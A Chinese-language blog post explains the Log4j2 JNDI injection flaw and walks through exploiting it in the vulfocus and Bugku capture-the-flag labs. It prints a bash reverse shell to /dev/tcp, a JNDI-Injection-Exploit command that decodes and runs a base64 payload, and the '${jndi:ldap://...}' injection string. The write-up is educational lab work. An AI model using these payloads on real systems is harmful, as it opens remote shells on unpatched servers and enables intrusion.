log4j2

写在前面

前两天睡醒后刷群刷空间,都炸了,发现了一个高危漏洞,而且估计是已经利用了有一段时间才爆出来,想想都可怕

昨天和鹅厂小伙伴聊了一下,据说他才刚下班回家睡觉,没睡多久安全部门已经给出解决方案了,佩服鹅厂的SRC

然后本着趁热的想法,抓紧学一波java,万一以后用得到呢,于是写了这篇博客

漏洞概述

Apache log4j是目前使用较为广泛的JAVA日志记录工具,而其升级版本为log4j2

由于log4j2中某些功能存在递归解析功能,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,该组件在开启日志记录功能后,凡是可能触发错误日志记录的地方,插入漏洞代码即可成功利用

漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2Apache SolrApache DruidApache Flink等均受影响

  • 适用版本:2.0 <= Apache log4j2 <= 2.14.1
  • 危害等级:严重
  • PoC状态:已公开
  • EXP状态:已公开
  • 在野利用:存在
  • 影响面:广泛
  • 利用难度:
  • 修复建议:官方已发布测试版本修复该漏洞,将log4j2升级至2.15.0-rc2版本,链接如下

Github

相关排查

具体可以参考360网络安全响应中心的文章Apache Log4j 2 远程代码执行漏洞通告 - 360CERT

漏洞原理

log4j2

目前大部分产品与项目都会记录日志,因为日志是一个很便捷的帮助开发人员和运维了解项目运行情况的方式

在Java技术栈中,比较常用的日志框架为log4j2和logback(搜索一下log4j,结果如下)

对于部分日志而言,开发者会经常在日志中输出一些变量,但是如果希望输出一个Java对象,但是这个对象并不在程序中,而是在某个文件中,甚至在网络上的某些地方的,对于这种情况而言,log4j2提供了便捷的接口lookups,使得日志不仅可以输出程序中的变量,还可以输出更多想要输出的内容

看一下log4j2中的lookups手册

Lookups provide a way to add values to the Log4j configuration at arbitrary places.

意思是为log4j的配置提供了一种在任意位置添加值的方法,但是具体去哪里查找,怎么查找,找到之后怎么办,就需要编写具体的模块来实现了

然而log4j2帮我们写好了绝大部分常见的查找方法

对于本次漏洞,主要关注的是JNDI

JNDI

  • JNDI:全名Java Naming and Directory Interface,即Java命名和目录接口,它提供了一个目录系统,并将服务名与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

这就使得lookups可以通过JNDI查找变量,只需要向JNDI接口传一个name就可以获取到该对象了

但是JNDI也只是一个上层封装,提供了一个与外界访问的方式,只要这些应用可以提供服务,理论上就可以通过JNDI来处理

JNDI具体的底层架构实际上支持很多种数据源的查找,具体结构如下图所示

其封装了包括DNS和LDAP在内的多个目录服务提供方,本次漏洞主要关注的是LDAP

LDAP

LDAP全名Lightweight Directory Access Protocol,轻量级目录访问协议,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息

LDAP最常见的应用是和CAS配合使用来实现单点登录(SSO)(写到这里才想起来之前看单点登录和CAS的时候有见过这个东西)

LDAP目录与普通数据库的主要不同之处在于数据的组织方式,它是一种有层次的、树形结构,有着很高效的读性能,但是写性能相对较差,因此通常只是用来查询(和他的名字一样,轻量级访问

JNDI注入攻击

接下来把上面三个知识点全部捏起来

假设有一个用户,输入了下面这个串,此时log4j2会解析这个它要输出的串

${jndi:ldap://x.x.x.x/exp} //x.x.x.x represents IP address

首先log4j2发现了串中有${},他知道花括号里面包裹的内容需要单独处理,进一步的解析,发现是JNDI的内容,此时传递给JDNI,再进一步,发现是LDAP协议,其服务器地址为x.x.x.x,需要查找的值为exp,接下来就是调用相关模块去这个地址请求对应的数据了

和之前说的一样,这个过程是可以请求Java对象的,Java对象一般只存在于内存中,也可以通过序列化方式存储在文件或通过网络传输

但是关键在于JNDI支持一个命名引用(Naming References)的方式,该方式可以通过远程下载一个class文件,然后将其构建为对象

简而言之就是JNDI可以远程下载class文件来构建对象,因此漏洞的关键在于,上述远程URL指向的是一个攻击者的服务器,同时下载的class里面包含有恶意的代码,那就寄了

上述大概就是JNDI攻击的大致要点,除了利用LDAP以外,还有RMI方式,这里不再赘述(因为我真的不会JAVA)

JNDI注入的核心问题在于Java允许JNDI远程下载一个class来构造对象,正常来说这个远程服务器的地址应该是自己的服务器或者是受信任的,但是如果是被外界输入指定了一个服务器,那就造成了注入攻击,也就是把上面的x.x.x.x换成攻击者自己的服务器

漏洞复现

自己的服务器起的nginx,但是漏洞好像是apache下的日志漏洞,但是目前网上有一些靶场已经有复现环境

预先准备

需要利用JNDI-Injection-Exploit自己的服务器上起一个本地服务,这里放一个链接JNDI-Injection-Exploit

然后需要云服务器开防火墙(之前卡了一天没做出来,没反弹shell,搞了半天规则没配好,被自己服务器的防火墙过滤掉了)

需要java环境和netcat,centos默认没有,yum直接装即可

vulfocus

Log4j2远程命令执行

vulfocus的昨天下午用dnslog试了一下,效果如下

然后这里直接拿自己的服务器操作了一下,首先是

本题的目标是反弹shell,因此构造恶意代码如下

bash -i >& /dev/tcp/ip/port 0>&1

然后用上述的工具在服务器起一个环境,命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64_encode_string}|{base64,-d}|{bash,-i}" -A "IP Address"

然后上述命令中将base64_encode_string替换为下列命令的base64编码结果

bash -i >& /dev/tcp/x.x.x.x/port 0>&1

这是一个常见的反弹shell,其中x.x.x.x为服务器的ip地址,port为一个大于1024的端口号(注意ip地址和端口号两者之间用斜杠连接,而不是常见的冒号)

base64编码之后放到上面的对应位置,然后上述命令IP Address地方填入自己的服务器的IP地址即可

启动之后效果是这样

然后会给两种,一个是RMI的,另一个是LDAP的,两个可以都试一下

之后另起一个终端,监听对应的port,我这里用的9999,直接nc 监听9999端口

然后打开环境,bp拦截,改包即可(vulfocus给出了包的内容,往/hello POST准备好的包即可)

payload如下

payload=${jndi:ldap://x.x.x.x/exp}

ldap://x.x.x.x/exp这一部分替换为上面截图中的ldap或者rmi,发包即可

之后上面这个环境会有回包日志记录

监听9999端口的那个终端就可以拿到shell了

ls一下发现没东西

直接find flag /,硬找,最后找到在/tmp下面,提交即可

Bugku

打开之后是个登录框,猜测直接在登录框输入和上面相同的payload即可

题目提示了/bin/bash不好使,该用sh,/dev/tcp也不好使,用nc命令

和之前的一样,启动环境,然后将payload传进去即可(在账号框传即可,看源码可以知道密码框前端会做一次md5,要在密码框传的话还要自己发包,有点麻烦)

拿到shell之后ls命令直接可以看到flag(是个文件,cat即可,刚开始以为是目录,cd没反应,但是不影响)

参考文章

  1. Apache Log4j 2 远程代码执行漏洞通告 - 360CERT
  2. 科来 | Log4j2 远程代码执行漏洞检测及回溯攻击行为方法 - 科来 (colasoft.com.cn)
  3. 阿里云帮助中心-阿里云,领先的云计算服务提供商 (aliyun.com)
  4. 核弹级漏洞!我把log4j扒给你看!
  5. Log4j – Apache Log4j 2
  6. JNDI-Wikipedia
  7. LDAP-Wikipedia